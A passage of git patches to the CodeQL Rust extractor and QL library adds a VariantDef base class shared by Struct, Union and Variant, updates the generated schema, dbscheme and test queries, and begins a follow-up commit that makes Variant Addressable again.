dd72966b1cb7b04f0267503013809063fcfb145e2b2d7d5250d9f24d2e405f9a 75b953aa11c51ca0fe95e67d50d6238962d8df4a4b9054999a2c6338e5a5613d -test/extractor-tests/generated/Variant/Variant.ql c60dd31adac91e09f8b1e5523d6b859747e64ef072c077b5a3326763f9f461f7 55d6446a3a831ed1137264678c5df027eb94cb3570a88d364994851fe6236999 +test/extractor-tests/generated/Variant/Variant.ql bf9b928ab3b1911e6c81fdc3fb9811e754ea28bfd0e4a21dca08b844aa42c3f1 bffd4bcc5019f721010722453985b39a4285240774e474e233ebe46f1cd5beb1 test/extractor-tests/generated/Variant/Variant_getAttr.ql dd38e48e1eb05ce280b880652a90010eb63f7de3be7232411ba6265691249420 f8980680104de1e5fd40f264d8d62346aacaf6403a5e051f6fd680e234c82c1f -test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql 99e79930f8ff87a25f256926e5c3ce1ee0847daf6fadc5445fb33c85328b4c61 2dd64a53813790654c83be25b5e175c9c5b388e758723c2138fff095353fdd7b test/extractor-tests/generated/Variant/Variant_getExpr.ql ce00af303d28f60c5fd1dc7df628c7974aced21884e223a2f656cb4f0d1a74d5 9de51a65510cf9a15801d4207b616915bd959c95ec7330fdb502c5dff5b650cc -test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql fe6a4bfd1440e7629d47283910de84c5e8c2f5645512780e710f53540b5bc886 b1e31b765cb1a5fe063abb8c1b2115e881ae28aa3ccd39e088ff8f2af20d6cf4 test/extractor-tests/generated/Variant/Variant_getFieldList.ql 083c8cf61989663de33d99b72dec231c308ccc8bb6739921465c473a07e8ea03 d03bff6945853c940acdc053b813d53b008ddab9a8bd4307826433828d4763ce test/extractor-tests/generated/Variant/Variant_getName.ql 0d7b47bec9f9031c67f7b684112a84a311ef9b2efeb260bd7cd6f424011ca0d8 73565e6f965dd7fd7bb9b3408c7d7b69120e1971b67ab307fed293eb663a59ae test/extractor-tests/generated/Variant/Variant_getVisibility.ql 2c8f365d28d96af55589f4d71ac3fee718b319b4cbc784560c0591d1f605a119 13160d9cf39fe169410eff6c338f5d063e1948109e8f18dd33ea0064f1dd9283 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 42e4c13f2f4..2972ba9ed0c 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -183,6 +183,7 @@ /lib/codeql/rust/elements/UseTree.qll linguist-generated /lib/codeql/rust/elements/UseTreeList.qll linguist-generated /lib/codeql/rust/elements/Variant.qll linguist-generated +/lib/codeql/rust/elements/VariantDef.qll linguist-generated /lib/codeql/rust/elements/VariantList.qll linguist-generated /lib/codeql/rust/elements/Visibility.qll linguist-generated /lib/codeql/rust/elements/WhereClause.qll linguist-generated @@ -448,6 +449,7 @@ /lib/codeql/rust/elements/internal/UseTreeListConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/UseTreeListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/VariantConstructor.qll linguist-generated +/lib/codeql/rust/elements/internal/VariantDefImpl.qll linguist-generated /lib/codeql/rust/elements/internal/VariantListConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/VariantListImpl.qll linguist-generated /lib/codeql/rust/elements/internal/VisibilityConstructor.qll linguist-generated @@ -652,6 +654,7 @@ /lib/codeql/rust/elements/internal/generated/UseTree.qll linguist-generated /lib/codeql/rust/elements/internal/generated/UseTreeList.qll linguist-generated /lib/codeql/rust/elements/internal/generated/Variant.qll linguist-generated +/lib/codeql/rust/elements/internal/generated/VariantDef.qll linguist-generated /lib/codeql/rust/elements/internal/generated/VariantList.qll linguist-generated /lib/codeql/rust/elements/internal/generated/Visibility.qll linguist-generated /lib/codeql/rust/elements/internal/generated/WhereClause.qll linguist-generated @@ -1202,9 +1205,7 @@ /test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.ql linguist-generated /test/extractor-tests/generated/Variant/Variant.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getAttr.ql linguist-generated -/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getExpr.ql linguist-generated -/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getFieldList.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getName.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getVisibility.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/elements.qll b/rust/ql/lib/codeql/rust/elements.qll index 968c271b095..62705408baf 100644 --- a/rust/ql/lib/codeql/rust/elements.qll +++ b/rust/ql/lib/codeql/rust/elements.qll @@ -186,6 +186,7 @@ import codeql.rust.elements.UseBoundGenericArgs import codeql.rust.elements.UseTree import codeql.rust.elements.UseTreeList import codeql.rust.elements.Variant +import codeql.rust.elements.VariantDef import codeql.rust.elements.VariantList import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index b01abf3e9a4..b78254d87dc 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -9,6 +9,7 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.GenericParamList import codeql.rust.elements.Item import codeql.rust.elements.Name +import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll index 38a96aed38e..c5fd86be7e9 100644 --- a/rust/ql/lib/codeql/rust/elements/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/Union.qll @@ -9,6 +9,7 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.Item import codeql.rust.elements.Name import codeql.rust.elements.RecordFieldList +import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll index 658143dbfa2..3e8eaa632f8 100644 --- a/rust/ql/lib/codeql/rust/elements/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/Variant.qll @@ -4,11 +4,11 @@ */ private import internal.VariantImpl -import codeql.rust.elements.Addressable import codeql.rust.elements.Attr import codeql.rust.elements.Expr import codeql.rust.elements.FieldList import codeql.rust.elements.Name +import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility /** diff --git a/rust/ql/lib/codeql/rust/elements/VariantDef.qll b/rust/ql/lib/codeql/rust/elements/VariantDef.qll new file mode 100644 index 00000000000..bafb396c29d --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/VariantDef.qll @@ -0,0 +1,9 @@ +// generated by codegen, do not edit +/** + * This module provides the public class `VariantDef`. + */ + +private import internal.VariantDefImpl +import codeql.rust.elements.AstNode + +final class VariantDef = Impl::VariantDef; diff --git a/rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll new file mode 100644 index 00000000000..21ab1f20d4e --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/internal/VariantDefImpl.qll @@ -0,0 +1,16 @@ +// generated by codegen, remove this comment if you wish to edit this file +/** + * This module provides a hand-modifiable wrapper around the generated class `VariantDef`. + * + * INTERNAL: Do not use. + */ + +private import codeql.rust.elements.internal.generated.VariantDef + +/** + * INTERNAL: This module contains the customizable definition of `VariantDef` and should not + * be referenced directly. + */ +module Impl { + class VariantDef extends Generated::VariantDef { } +} diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index b8ae3bb3b87..41213922722 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll @@ -1307,6 +1307,19 @@ private module Impl { ) } + private Element getImmediateChildOfVariantDef(VariantDef e, int index, string partialPredicateCall) { + exists(int b, int bAstNode, int n | + b = 0 and + bAstNode = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAstNode(e, i, _)) | i) and + n = bAstNode and + ( + none() + or + result = getImmediateChildOfAstNode(e, index - b, partialPredicateCall) + ) + ) + } + private Element getImmediateChildOfVariantList( VariantList e, int index, string partialPredicateCall ) { @@ -3050,13 +3063,13 @@ private module Impl { private Element getImmediateChildOfVariant(Variant e, int index, string partialPredicateCall) { exists( - int b, int bAddressable, int n, int nAttr, int nExpr, int nFieldList, int nName, + int b, int bVariantDef, int n, int nAttr, int nExpr, int nFieldList, int nName, int nVisibility | b = 0 and - bAddressable = - b + 1 + max(int i | i = -1 or exists(getImmediateChildOfAddressable(e, i, _)) | i) and - n = bAddressable and + bVariantDef = + b + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and + n = bVariantDef and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nExpr = nAttr + 1 and nFieldList = nExpr + 1 and @@ -3065,7 +3078,7 @@ private module Impl { ( none() or - result = getImmediateChildOfAddressable(e, index - b, partialPredicateCall) + result = getImmediateChildOfVariantDef(e, index - b, partialPredicateCall) or result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" @@ -3700,12 +3713,14 @@ private module Impl { private Element getImmediateChildOfStruct(Struct e, int index, string partialPredicateCall) { exists( - int b, int bItem, int n, int nAttr, int nFieldList, int nGenericParamList, int nName, - int nVisibility, int nWhereClause + int b, int bItem, int bVariantDef, int n, int nAttr, int nFieldList, int nGenericParamList, + int nName, int nVisibility, int nWhereClause | b = 0 and bItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfItem(e, i, _)) | i) and - n = bItem and + bVariantDef = + bItem + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and + n = bVariantDef and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nFieldList = nAttr + 1 and nGenericParamList = nFieldList + 1 and @@ -3717,6 +3732,8 @@ private module Impl { or result = getImmediateChildOfItem(e, index - b, partialPredicateCall) or + result = getImmediateChildOfVariantDef(e, index - bItem, partialPredicateCall) + or result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or @@ -3944,12 +3961,14 @@ private module Impl { private Element getImmediateChildOfUnion(Union e, int index, string partialPredicateCall) { exists( - int b, int bItem, int n, int nAttr, int nGenericParamList, int nName, int nStructFieldList, - int nVisibility, int nWhereClause + int b, int bItem, int bVariantDef, int n, int nAttr, int nGenericParamList, int nName, + int nStructFieldList, int nVisibility, int nWhereClause | b = 0 and bItem = b + 1 + max(int i | i = -1 or exists(getImmediateChildOfItem(e, i, _)) | i) and - n = bItem and + bVariantDef = + bItem + 1 + max(int i | i = -1 or exists(getImmediateChildOfVariantDef(e, i, _)) | i) and + n = bVariantDef and nAttr = n + 1 + max(int i | i = -1 or exists(e.getAttr(i)) | i) and nGenericParamList = nAttr + 1 and nName = nGenericParamList + 1 and @@ -3961,6 +3980,8 @@ private module Impl { or result = getImmediateChildOfItem(e, index - b, partialPredicateCall) or + result = getImmediateChildOfVariantDef(e, index - bItem, partialPredicateCall) + or result = e.getAttr(index - n) and partialPredicateCall = "Attr(" + (index - n).toString() + ")" or diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index c7a1472362e..937529405f9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -1190,6 +1190,11 @@ module Raw { UseTree getUseTree(int index) { use_tree_list_use_trees(this, index, result) } } + /** + * INTERNAL: Do not use. + */ + class VariantDef extends @variant_def, AstNode { } + /** * INTERNAL: Do not use. * A VariantList. For example: @@ -3120,7 +3125,7 @@ module Raw { * todo!() * ``` */ - class Variant extends @variant, Addressable { + class Variant extends @variant, VariantDef { override string toString() { result = "Variant" } /** @@ -3835,7 +3840,7 @@ module Raw { * todo!() * ``` */ - class Struct extends @struct, Item { + class Struct extends @struct, Item, VariantDef { override string toString() { result = "Struct" } /** @@ -4090,7 +4095,7 @@ module Raw { * todo!() * ``` */ - class Union extends @union, Item { + class Union extends @union, Item, VariantDef { override string toString() { result = "Union" } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll index a596843e100..07521be8d69 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Struct.qll @@ -11,6 +11,7 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.GenericParamList import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl import codeql.rust.elements.Name +import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause @@ -27,7 +28,7 @@ module Generated { * INTERNAL: Do not reference the `Generated::Struct` class directly. * Use the subclass `Struct`, where the following predicates are available. */ - class Struct extends Synth::TStruct, ItemImpl::Item { + class Struct extends Synth::TStruct, ItemImpl::Item, VariantDefImpl::VariantDef { override string getAPrimaryQlClass() { result = "Struct" } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll index d42033d6df1..6dbd5049b80 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Synth.qll @@ -686,7 +686,7 @@ module Synth { /** * INTERNAL: Do not use. */ - class TAddressable = TItem or TVariant; + class TAddressable = TItem; /** * INTERNAL: Do not use. @@ -723,7 +723,7 @@ module Synth { TStructExprField or TStructExprFieldList or TStructField or TStructPatField or TStructPatFieldList or TToken or TTokenTree or TTupleField or TTypeBound or TTypeBoundList or TTypeRepr or TUseBoundGenericArg or TUseBoundGenericArgs or TUseTree or - TUseTreeList or TVariantList or TVisibility or TWhereClause or TWherePred; + TUseTreeList or TVariantDef or TVariantList or TVisibility or TWhereClause or TWherePred; /** * INTERNAL: Do not use. @@ -845,6 +845,11 @@ module Synth { */ class TUseBoundGenericArg = TLifetime or TNameRef; + /** + * INTERNAL: Do not use. + */ + class TVariantDef = TStruct or TUnion or TVariant; + /** * INTERNAL: Do not use. * Converts a raw element to a synthesized `TAbi`, if possible. @@ -1853,11 +1858,7 @@ module Synth { * INTERNAL: Do not use. * Converts a raw DB element to a synthesized `TAddressable`, if possible. */ - TAddressable convertAddressableFromRaw(Raw::Element e) { - result = convertItemFromRaw(e) - or - result = convertVariantFromRaw(e) - } + TAddressable convertAddressableFromRaw(Raw::Element e) { result = convertItemFromRaw(e) } /** * INTERNAL: Do not use. @@ -2036,6 +2037,8 @@ module Synth { or result = convertUseTreeListFromRaw(e) or + result = convertVariantDefFromRaw(e) + or result = convertVariantListFromRaw(e) or result = convertVisibilityFromRaw(e) @@ -2433,6 +2436,18 @@ module Synth { result = convertNameRefFromRaw(e) } + /** + * INTERNAL: Do not use. + * Converts a raw DB element to a synthesized `TVariantDef`, if possible. + */ + TVariantDef convertVariantDefFromRaw(Raw::Element e) { + result = convertStructFromRaw(e) + or + result = convertUnionFromRaw(e) + or + result = convertVariantFromRaw(e) + } + /** * INTERNAL: Do not use. * Converts a synthesized `TAbi` to a raw DB element, if possible. @@ -3439,11 +3454,7 @@ module Synth { * INTERNAL: Do not use. * Converts a synthesized `TAddressable` to a raw DB element, if possible. */ - Raw::Element convertAddressableToRaw(TAddressable e) { - result = convertItemToRaw(e) - or - result = convertVariantToRaw(e) - } + Raw::Element convertAddressableToRaw(TAddressable e) { result = convertItemToRaw(e) } /** * INTERNAL: Do not use. @@ -3622,6 +3633,8 @@ module Synth { or result = convertUseTreeListToRaw(e) or + result = convertVariantDefToRaw(e) + or result = convertVariantListToRaw(e) or result = convertVisibilityToRaw(e) @@ -4018,4 +4031,16 @@ module Synth { or result = convertNameRefToRaw(e) } + + /** + * INTERNAL: Do not use. + * Converts a synthesized `TVariantDef` to a raw DB element, if possible. + */ + Raw::Element convertVariantDefToRaw(TVariantDef e) { + result = convertStructToRaw(e) + or + result = convertUnionToRaw(e) + or + result = convertVariantToRaw(e) + } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll index 89986895761..a6d2fcc92f9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Union.qll @@ -11,6 +11,7 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.internal.ItemImpl::Impl as ItemImpl import codeql.rust.elements.Name import codeql.rust.elements.RecordFieldList +import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause @@ -27,7 +28,7 @@ module Generated { * INTERNAL: Do not reference the `Generated::Union` class directly. * Use the subclass `Union`, where the following predicates are available. */ - class Union extends Synth::TUnion, ItemImpl::Item { + class Union extends Synth::TUnion, ItemImpl::Item, VariantDefImpl::VariantDef { override string getAPrimaryQlClass() { result = "Union" } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index b78043e0922..d09506da85c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -6,11 +6,11 @@ private import codeql.rust.elements.internal.generated.Synth private import codeql.rust.elements.internal.generated.Raw -import codeql.rust.elements.internal.AddressableImpl::Impl as AddressableImpl import codeql.rust.elements.Attr import codeql.rust.elements.Expr import codeql.rust.elements.FieldList import codeql.rust.elements.Name +import codeql.rust.elements.internal.VariantDefImpl::Impl as VariantDefImpl import codeql.rust.elements.Visibility /** @@ -26,7 +26,7 @@ module Generated { * INTERNAL: Do not reference the `Generated::Variant` class directly. * Use the subclass `Variant`, where the following predicates are available. */ - class Variant extends Synth::TVariant, AddressableImpl::Addressable { + class Variant extends Synth::TVariant, VariantDefImpl::VariantDef { override string getAPrimaryQlClass() { result = "Variant" } /** diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll new file mode 100644 index 00000000000..3114f03cade --- /dev/null +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantDef.qll @@ -0,0 +1,21 @@ +// generated by codegen, do not edit +/** + * This module provides the generated definition of `VariantDef`. + * INTERNAL: Do not import directly. + */ + +private import codeql.rust.elements.internal.generated.Synth +private import codeql.rust.elements.internal.generated.Raw +import codeql.rust.elements.internal.AstNodeImpl::Impl as AstNodeImpl + +/** + * INTERNAL: This module contains the fully generated definition of `VariantDef` and should not + * be referenced directly. + */ +module Generated { + /** + * INTERNAL: Do not reference the `Generated::VariantDef` class directly. + * Use the subclass `VariantDef`, where the following predicates are available. + */ + class VariantDef extends Synth::TVariantDef, AstNodeImpl::AstNode { } +} diff --git a/rust/ql/lib/rust.dbscheme b/rust/ql/lib/rust.dbscheme index eccb4fa8b63..a565ea26d2d 100644 --- a/rust/ql/lib/rust.dbscheme +++ b/rust/ql/lib/rust.dbscheme @@ -216,6 +216,7 @@ named_crates( | @use_bound_generic_args | @use_tree | @use_tree_list +| @variant_def | @variant_list | @visibility | @where_clause @@ -278,7 +279,6 @@ abi_abi_strings( @addressable = @item -| @variant ; #keyset[id] @@ -1178,6 +1178,12 @@ use_tree_list_use_trees( int use_tree: @use_tree ref ); +@variant_def = + @struct +| @union +| @variant +; + variant_lists( unique int id: @variant_list ); diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql index 92ebcbe55ee..2cbcd20cbf0 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql @@ -3,22 +3,15 @@ import codeql.rust.elements import TestUtils from - Variant x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasExpr, string hasFieldList, string hasName, string hasVisibility + Variant x, int getNumberOfAttrs, string hasExpr, string hasFieldList, string hasName, + string hasVisibility where toBeTested(x) and not x.isUnknown() and - ( - if x.hasExtendedCanonicalPath() - then hasExtendedCanonicalPath = "yes" - else hasExtendedCanonicalPath = "no" - ) and - (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" -select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasFieldList:", hasFieldList, +select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasFieldList:", hasFieldList, "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql deleted file mode 100644 index 0acfd9827fe..00000000000 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql +++ /dev/null @@ -1,7 +0,0 @@ -// generated by codegen, do not edit -import codeql.rust.elements -import TestUtils - -from Variant x -where toBeTested(x) and not x.isUnknown() -select x, x.getCrateOrigin() diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql deleted file mode 100644 index ad8aaf86a5c..00000000000 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql +++ /dev/null @@ -1,7 +0,0 @@ -// generated by codegen, do not edit -import codeql.rust.elements -import TestUtils - -from Variant x -where toBeTested(x) and not x.isUnknown() -select x, x.getExtendedCanonicalPath() diff --git a/rust/schema/ast.py b/rust/schema/ast.py index 84e30ac407a..e014105c5a9 100644 --- a/rust/schema/ast.py +++ b/rust/schema/ast.py @@ -38,6 +38,9 @@ class TypeRepr(AstNode, ): class UseBoundGenericArg(AstNode, ): pass +class VariantDef(AstNode, ): + pass + class Item(Stmt, ): pass @@ -621,7 +624,7 @@ class StmtList(AstNode, ): statements: list["Stmt"] | child tail_expr: optional["Expr"] | child -class Struct(Item, ): +class Struct(Item, VariantDef, ): attrs: list["Attr"] | child field_list: optional["FieldList"] | child generic_param_list: optional["GenericParamList"] | child @@ -709,7 +712,7 @@ class TypeParam(GenericParam, ): class UnderscoreExpr(Expr, ): attrs: list["Attr"] | child -class Union(Item, ): +class Union(Item, VariantDef, ): attrs: list["Attr"] | child generic_param_list: optional["GenericParamList"] | child name: optional["Name"] | child @@ -734,7 +737,7 @@ class UseTree(AstNode, ): class UseTreeList(AstNode, ): use_trees: list["UseTree"] | child -class Variant(AstNode, ): +class Variant(VariantDef, ): attrs: list["Attr"] | child expr: optional["Expr"] | child field_list: optional["FieldList"] | child From 7cf3cac24ab5e0cabcc328d0d470ff34b5c5a401 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 20 Mar 2025 16:55:37 +0100 Subject: [PATCH 044/282] Rust: reinstate `Variant` as `Addressable` --- rust/extractor/src/generated/.generated.list | 2 +- rust/extractor/src/generated/top.rs | 9 +++++++++ rust/ql/.generated.list | 14 ++++++++------ rust/ql/.gitattributes | 2 ++ rust/ql/lib/codeql/rust/elements/Variant.qll | 1 + .../elements/internal/generated/ParentChild.qll | 10 +++++++--- .../rust/elements/internal/generated/Raw.qll | 2 +- .../rust/elements/internal/generated/Synth.qll | 14 +++++++++++--- .../rust/elements/internal/generated/Variant.qll | 3 ++- rust/ql/lib/rust.dbscheme | 1 + .../extractor-tests/generated/Variant/Variant.ql | 13 ++++++++++--- .../generated/Variant/Variant_getCrateOrigin.ql | 7 +++++++ .../Variant/Variant_getExtendedCanonicalPath.ql | 7 +++++++ rust/schema/annotations.py | 2 +- 14 files changed, 68 insertions(+), 19 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql create mode 100644 rust/ql/test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index dc907c8fc8f..a014ae1c110 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 01fa96e1f1e8bbb934cf07a28489eda47e002b2a27eb210d6359117e82c93a21 01fa96e1f1e8bbb934cf07a28489eda47e002b2a27eb210d6359117e82c93a21 +top.rs fcff2f1d468e6bc5384e5c0d7f3249773fa3ef38db054c0ec555c43d143117da fcff2f1d468e6bc5384e5c0d7f3249773fa3ef38db054c0ec555c43d143117da diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index f7fcd417f2e..e9604e08387 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -8660,6 +8660,15 @@ impl From> for trap::Label { } } +impl From> for trap::Label { + fn from(value: trap::Label) -> Self { + // SAFETY: this is safe because in the dbscheme Variant is a subclass of Addressable + unsafe { + Self::from_untyped(value.as_untyped()) + } + } +} + #[derive(Debug)] pub struct WildcardPat { pub id: trap::TrapId, diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 77cd39f8c9d..c5f43e9cebf 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -180,7 +180,7 @@ lib/codeql/rust/elements/UseBoundGenericArg.qll f16903f8fff676d3700eaad549080462 lib/codeql/rust/elements/UseBoundGenericArgs.qll 6d3b8bf8e59ef6d10d2f58c6d2eca61b113a524174f62d1f56b724c4179fda04 8fad6ed9e5bf159a2db01e7eb960cc55b940f7b92c4bb5c967120068e4fec80a lib/codeql/rust/elements/UseTree.qll 69d96e5985ecdedc421d3d5da16b738ccdbb28ea01ca4d510b98f2a3409b28e5 0188c2744e89e19aa077c802e89faa87d62ca306adb71be8c3b23617f69a5982 lib/codeql/rust/elements/UseTreeList.qll 768c4ec25e8807bba65619f566b22fa5c0946c36e96c88cfdee04c2875b44554 6433c8d9acd4e346cadd5fef01d79dd35bb6245115bdceb5322c0511106030b0 -lib/codeql/rust/elements/Variant.qll 9f3d1385ded895fea427306cba36f8213c139a2754d9d61c26394bb2297036a3 47828e71c0adfcebd7299c46cfbedad80852af4c6e18104e6c553d07016a2d66 +lib/codeql/rust/elements/Variant.qll 8c8b419376d93f12a53d83cbdec04b0f9e3b0224774629c748fe32469589fa3e 438a12e8bf67d88df0e7740287f15431bc012362a6d6f370e088a3b60910ff0a lib/codeql/rust/elements/VariantDef.qll fb14bf049aba1fc0b62d156e69b7965b6526d12c9150793f1d38b0f8fb8a0a8f 71453a80a3c60288242c5d86ab81ef4d027a3bc870ceffa62160864d32a7d7ad lib/codeql/rust/elements/VariantList.qll 07adfe5750b2d5b50c8629f36feba24edd84f75698a80339d4cee20f4e95829d 7d322e60c84ea45f8c8b509226da7ae3c0125bcda42a98a94e3e6a9855cab79e lib/codeql/rust/elements/Visibility.qll d2cf0727efaf8df6b3808cb4a6b2e26d18e42db766d92e97ad3ef046d91cb9e5 8947a1e2d48b532c6455ddf143fa5b1dff28c40da1f1c6a72769fc9db7ecbaf6 @@ -582,7 +582,7 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d -lib/codeql/rust/elements/internal/generated/ParentChild.qll 9b2070dbfe201734c41dfabfe32e9636807bf8630476353421dced8e8c2b20e8 6f8c316079362a606c6362cd2188f23656ec803869cd807d45e0e9af15f9f498 +lib/codeql/rust/elements/internal/generated/ParentChild.qll 052cfc8ff7ecdcc941006d07c0381c5255174cf104d15621308e143e4d5401f6 51ffa60668c98ff888b84a06f73b6540d487105ba888de1afd70067df4416509 lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163 lib/codeql/rust/elements/internal/generated/Pat.qll 